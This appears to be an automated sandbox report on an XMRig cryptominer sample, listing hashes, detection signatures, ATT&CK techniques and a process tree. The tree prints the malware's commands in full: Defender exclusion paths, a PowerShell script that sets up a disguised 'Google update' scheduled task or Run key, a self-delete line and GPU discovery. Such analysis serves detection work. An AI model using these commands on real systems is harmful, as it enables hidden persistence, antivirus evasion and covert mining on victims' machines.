xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1572s
max time network
1789s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2032 created 1384	2032	M8xUNW42QxTLMRXN.exe	6
PID 2032 created 1384	2032	M8xUNW42QxTLMRXN.exe	6
PID 2032 created 1384	2032	M8xUNW42QxTLMRXN.exe	6
PID 2032 created 1384	2032	M8xUNW42QxTLMRXN.exe	6
PID 2732 created 1384	2732	updater.exe	6
PID 2732 created 1384	2732	updater.exe	6
PID 2732 created 1384	2732	updater.exe	6
PID 2732 created 1384	2732	updater.exe	6
PID 2932 created 1384	2932	conhost.exe	6
PID 2732 created 1384	2732	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral19/memory/2368-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2368-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2984	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2732	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1444	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/2368-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2368-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2732 set thread context of 2932	2732	updater.exe	48
PID 2732 set thread context of 2368	2732	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2492	schtasks.exe
1504	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2344	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0f7551cf350da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2032	M8xUNW42QxTLMRXN.exe
2032	M8xUNW42QxTLMRXN.exe
1464	powershell.exe
2032	M8xUNW42QxTLMRXN.exe
2032	M8xUNW42QxTLMRXN.exe
2620	powershell.exe
2032	M8xUNW42QxTLMRXN.exe
2032	M8xUNW42QxTLMRXN.exe
2032	M8xUNW42QxTLMRXN.exe
2032	M8xUNW42QxTLMRXN.exe
2904	powershell.exe
2732	updater.exe
2732	updater.exe
1896	powershell.exe
2732	updater.exe
2732	updater.exe
2192	powershell.exe
2732	updater.exe
2732	updater.exe
2732	updater.exe
2732	updater.exe
2932	conhost.exe
2932	conhost.exe
2732	updater.exe
2732	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2732	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2344	WMIC.exe
Token: SeSecurityPrivilege	2344	WMIC.exe
Token: SeTakeOwnershipPrivilege	2344	WMIC.exe
Token: SeLoadDriverPrivilege	2344	WMIC.exe
Token: SeSystemtimePrivilege	2344	WMIC.exe
Token: SeBackupPrivilege	2344	WMIC.exe
Token: SeRestorePrivilege	2344	WMIC.exe
Token: SeShutdownPrivilege	2344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2344	WMIC.exe
Token: SeUndockPrivilege	2344	WMIC.exe
Token: SeManageVolumePrivilege	2344	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2344	WMIC.exe
Token: SeSecurityPrivilege	2344	WMIC.exe
Token: SeTakeOwnershipPrivilege	2344	WMIC.exe
Token: SeLoadDriverPrivilege	2344	WMIC.exe
Token: SeSystemtimePrivilege	2344	WMIC.exe
Token: SeBackupPrivilege	2344	WMIC.exe
Token: SeRestorePrivilege	2344	WMIC.exe
Token: SeShutdownPrivilege	2344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2344	WMIC.exe
Token: SeUndockPrivilege	2344	WMIC.exe
Token: SeManageVolumePrivilege	2344	WMIC.exe
Token: SeLockMemoryPrivilege	2368	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 2492	2620	powershell.exe	33
PID 2620 wrote to memory of 2492	2620	powershell.exe	33
PID 2620 wrote to memory of 2492	2620	powershell.exe	33
PID 2984 wrote to memory of 1616	2984	cmd.exe	39
PID 2984 wrote to memory of 1616	2984	cmd.exe	39
PID 2984 wrote to memory of 1616	2984	cmd.exe	39
PID 2904 wrote to memory of 580	2904	powershell.exe	40
PID 2904 wrote to memory of 580	2904	powershell.exe	40
PID 2904 wrote to memory of 580	2904	powershell.exe	40
PID 1444 wrote to memory of 2732	1444	taskeng.exe	42
PID 1444 wrote to memory of 2732	1444	taskeng.exe	42
PID 1444 wrote to memory of 2732	1444	taskeng.exe	42
PID 2192 wrote to memory of 1504	2192	powershell.exe	47
PID 2192 wrote to memory of 1504	2192	powershell.exe	47
PID 2192 wrote to memory of 1504	2192	powershell.exe	47
PID 2732 wrote to memory of 2932	2732	updater.exe	48
PID 1228 wrote to memory of 2344	1228	cmd.exe	52
PID 1228 wrote to memory of 2344	1228	cmd.exe	52
PID 1228 wrote to memory of 2344	1228	cmd.exe	52
PID 2732 wrote to memory of 2368	2732	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1384
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2492
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1504
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2932
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1740
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2368

C:\Windows\system32\taskeng.exe
taskeng.exe {3343D22E-5952-4F01-9A86-D3221D031AE1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
704KB

MD5
9df7fd9891deb17d07ead0067eede78a

SHA1
4c913559f82a72f2fc3515b470c4aca37b1e8396

SHA256
a827431a5f6a4e8d519b16b58c84974dee78d2276f27dec233a9a94957ad0645

SHA512
5114dc4fe6bb2a9f8d60dc23a5913c3c55fda418c67aa1b832d534d7223715287be59489ae4e6a1d18ee40ba4d9551b2b66c458b267bed1547417d9aa53b7775

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6ecf511792d6281e39eb15ec216f85e0

SHA1
b1fb6440cbda3e3f7645445d1e0fb641b4342b1a

SHA256
42e0f5a8bc2bbb8154eaa17ac0f4c02699cb3b700fc3dca3646bc8201e7a1d4e

SHA512
ce6e6ea7e1ac291b317964d55ae1e59ce81b1a478237a307427bfaeb1c0a679d9bb8d55b5a2cc4f81db673572b3f8b53959f2195c6fd6ad64ec4c28ad3fe4256

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
192KB

MD5
78f0aae2aad91cc69c5bc96b74849cd8

SHA1
19204d8ef9e4e5985f8c250f19ff44bdd826327a

SHA256
c7bca715cdee9475da9be71dfa2b3ad433362f83b33563300b72ed0bdefc9372

SHA512
cca2878c65908b214132f5d3cada392616f548bfc1529cc47249ab065947a82de5b0c11cd58e6b9705c31791e65b1993570305a8328819451428a28e619eb666

Download Submit
memory/1464-12-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/1464-5-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1464-8-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/1464-13-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-9-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-11-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/1464-7-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1464-6-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/1464-10-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/1896-49-0x00000000012F0000-0x0000000001370000-memory.dmp

Filesize
512KB

Download
memory/1896-46-0x000007FEF4C10000-0x000007FEF55AD000-memory.dmp

Filesize
9.6MB

Download
memory/1896-47-0x00000000012F0000-0x0000000001370000-memory.dmp

Filesize
512KB

Download
memory/1896-48-0x000007FEF4C10000-0x000007FEF55AD000-memory.dmp

Filesize
9.6MB

Download
memory/1896-50-0x00000000012F0000-0x0000000001370000-memory.dmp

Filesize
512KB

Download
memory/1896-51-0x000007FEF4C10000-0x000007FEF55AD000-memory.dmp

Filesize
9.6MB

Download
memory/2032-0-0x000000013F7F0000-0x000000013FA01000-memory.dmp

Filesize
2.1MB

Download
memory/2032-29-0x000000013F7F0000-0x000000013FA01000-memory.dmp

Filesize
2.1MB

Download
memory/2192-59-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-53-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-54-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2192-58-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2192-57-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2192-56-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2192-55-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-68-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/2368-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-70-0x0000000000780000-0x00000000007A0000-memory.dmp

Filesize
128KB

Download
memory/2368-71-0x0000000000B90000-0x0000000000BB0000-memory.dmp

Filesize
128KB

Download
memory/2368-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-82-0x0000000000780000-0x00000000007A0000-memory.dmp

Filesize
128KB

Download
memory/2368-83-0x0000000000B90000-0x0000000000BB0000-memory.dmp

Filesize
128KB

Download
memory/2368-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2368-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
